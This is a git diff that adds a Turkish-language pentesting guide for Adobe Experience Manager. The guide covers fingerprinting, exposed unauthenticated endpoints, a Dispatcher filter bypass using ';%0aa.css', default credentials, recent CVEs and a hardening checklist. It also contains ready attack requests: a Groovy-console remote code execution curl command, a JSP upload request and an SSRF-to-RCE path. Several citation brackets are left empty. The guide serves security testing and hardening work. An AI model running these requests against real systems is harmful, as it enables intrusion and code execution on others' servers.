diff --git a/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md b/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md index 34ba873be..8aa9bf0ed 100644 --- a/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md +++ b/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md @@ -1,5 +1,117 @@ -{{#include ../../banners/hacktricks-training.md}} - -Güvenlik açıklarını ve yanlış yapılandırmaları [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker) ile bulun. +# AEM (Adobe Experience Manager) Pentesting {{#include ../../banners/hacktricks-training.md}} + +> Adobe Experience Manager (AEM, Adobe Experience Cloud'ın bir parçası) Apache Sling/Felix (OSGi) ve bir Java İçerik Deposu (JCR) üzerinde çalışan bir kurumsal CMS'dir. +> Bir saldırgan perspektifinden AEM örnekleri genellikle tehlikeli geliştirme uç noktalarını, zayıf Dispatcher kurallarını, varsayılan kimlik bilgilerini ve her çeyrekte yamanan uzun bir CVE listesini açığa çıkarır. + +Aşağıdaki kontrol listesi, gerçek etkileşimlerde (2022-2025) sürekli olarak ortaya çıkan **dışarıdan erişilebilir (kimlik doğrulamasız) saldırı yüzeyine** odaklanmaktadır. + +--- + +## 1. Fingerprinting +``` +$ curl -s -I https://target | egrep -i "aem|sling|cq" +X-Content-Type-Options: nosniff +X-Dispatcher: hu1 # header added by AEM Dispatcher +X-Vary: Accept-Encoding +``` +Diğer hızlı göstergeler: +* `/etc.clientlibs/` statik yolu mevcut (JS/CSS döner). +* `/libs/granite/core/content/login.html` “Adobe Experience Manager” afişi ile giriş sayfası. +* `` HTML'nin altında yorum. + +--- + +## 2. Yüksek değerli kimlik doğrulamasız uç noktalar + +Path | Ne elde edersiniz | Notlar +---- | ------------- | ----- +`/.json`, `/.1.json` | JCR düğümleri aracılığıyla **DefaultGetServlet** | Genellikle engellenir, ancak *Dispatcher bypass* (aşağıya bakın) çalışır. +`/bin/querybuilder.json?path=/` | QueryBuilder API | Sayfa ağacı, iç yollar, kullanıcı adları sızıntısı. +`/system/console/status-*`, `/system/console/bundles` | OSGi/Felix konsolu | Varsayılan olarak 403; eğer açığa çıkmışsa ve kimlik bilgileri bulunursa ⇒ bundle-upload RCE. +`/crx/packmgr/index.jsp` | Paket Yöneticisi | Kimlik doğrulaması yapılmış içerik paketlerine izin verir → JSP yükleme. +`/etc/groovyconsole/**` | AEM Groovy Konsolu | Eğer açığa çıkmışsa → keyfi Groovy / Java yürütme. +`/libs/cq/AuditlogSearchServlet.json` | Denetim günlükleri | Bilgi ifşası. +`/libs/cq/ui/content/dumplibs.html` | ClientLibs dökümü | XSS vektörü. + +### Dispatcher bypass hilesi +Çoğu üretim sitesi *Dispatcher* (ters proxy) arkasında yer alır. Filtre kuralları, izin verilen bir statik uzantıyı **bir noktalı virgülden veya kodlanmış yeni satırdan sonra ekleyerek** atlatılabilir: +``` +GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1 +``` +Tek bir istek yukarıda sıklıkla kullanıcı profil düğümlerini e-posta adresleriyle açığa çıkarır. P-T Partners bu zayıflık hakkında iyi bir rehber yayınladı. 【】 + +--- + +## 3. Yaygın yanlış yapılandırmalar (2025'te hala mevcut) + +1. **Anonim POST servlet** – `POST /.json` ile `:operation=import` yeni JCR düğümleri oluşturmanıza izin verir. Dispatcher'da `*.json` POST'u engellemek bunu düzeltir. 【】 +2. **Herkese açık kullanıcı profilleri** – varsayılan ACL, `/home/users/**/profile/*` üzerinde `jcr:read` iznini herkese verir. +3. **Varsayılan kimlik bilgileri** – `admin:admin`, `author:author`, `replication:replication`. +4. **WCMDebugFilter** etkin ⇒ `?debug=layout` üzerinden yansıtılan XSS (CVE-2016-7882, hala eski 6.4 kurulumlarında bulunuyor). +5. **Groovy Konsolu açığa çıktı** – bir Groovy betiği göndererek uzaktan kod yürütme: +```bash +curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json +``` + +--- + +## 4. Son zamanlardaki güvenlik açıkları (hizmet paketi döngüsü) + +Çeyrek | CVE | Etkilenen | Etki +------- | --- | -------- | ------ +Aralık 2024 | **CVE-2024-43711** | 6.5.21 ve öncesi | Yanlış giriş doğrulaması → **Rastgele kod yürütme** (düşük ayrıcalıklı kimlik doğrulama gerektirir). 【】 +Aralık 2024 | CVE-2024-43724/26 | 6.5.21 ve öncesi | DOM / Saklanan XSS Move Page Wizard'da. 【】 +Aralık 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | Özel URL aracılığıyla DOM tabanlı XSS. 【】 +Aralık 2022 | CVE-2022-30683 | ≤ 6.5.13 | Kripto tasarım hatası → gizli şifre çözme (düşük ayrıcalıklı kimlik bilgileri gerektirir). 【】 + +Her zaman müşterinin hizmet paketiyle eşleşen *APSB* bültenini kontrol edin ve en son **6.5.22** veya *Cloud Service 2024.11* talep edin. + +--- + +## 5. Sömürü parçaları + +### 5.1 Dispatcher atlatma + JSP yükleme ile RCE +Eğer anonim yazma mümkünse: +``` +# 1. Create a node that will become /content/evil.jsp +POST /content/evil.jsp;%0aa.css HTTP/1.1 +Content-Type: application/x-www-form-urlencoded + +:contentType=text/plain +jcr:data=<% out.println("pwned"); %> +:operation=import +``` +Şimdi `/content/evil.jsp` isteği yapın – JSP, AEM işlem kullanıcısı ile çalışır. + +### 5.2 SSRF'den RCE'ye (tarihi < 6.3) +`/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console` +**aem-hacker**'dan `aem_ssrf2rce.py` tam zinciri otomatikleştirir. 【】 + +--- + +## 6. Araçlar + +* **aem-hacker** – İsviçre çakısı benzeri sayım scripti, dispatcher atlatma, SSRF tespiti, varsayılan kimlik bilgileri kontrolleri ve daha fazlasını destekler. +```bash +python3 aem_hacker.py -u https://target --host attacker-ip +```【】 +* **İçerik Brute-force** – gizli bileşenleri keşfetmek için `/_jcr_content.(json|html)` isteğini yinelemeli olarak yapın. +* **osgi-infect** – kimlik bilgileri mevcutsa `/system/console/bundles` üzerinden kötü niyetli OSGi paketi yükleyin. + +--- + +## 7. Güçlendirme kontrol listesi (raporunuzun önerileri için) + +1. Örneği **en son toplu hizmet paketinde** tutun (Temmuz 2025 itibarıyla: 6.5.22). +2. Varsayılan hesapları kaldırın/değiştirin; SSO/SAML'yi zorlayın. +3. **Dispatcher filtrelerini** sıkılaştırın – anonim kullanıcılar için `;`, kodlanmış yeni satırlar ve `*.json` veya `*.querybuilder.json`'ı reddedin. +4. Konsolları (`/system/console`, `/crx/*`, `/etc/groovyconsole`) IP izin listeleri ile devre dışı bırakın veya koruyun. +5. Adobe tarafından gönderilen *Anonim İzin Güçlendirme* paketini uygulayın. + +## Referanslar + +* Adobe Güvenlik Bülteni APSB24-69 – “Adobe Experience Manager için güvenlik güncellemeleri (Aralık 2024)”. +* 0ang3el – aem-hacker aracı (GitHub). +{{#include ../../banners/hacktricks-training.md}}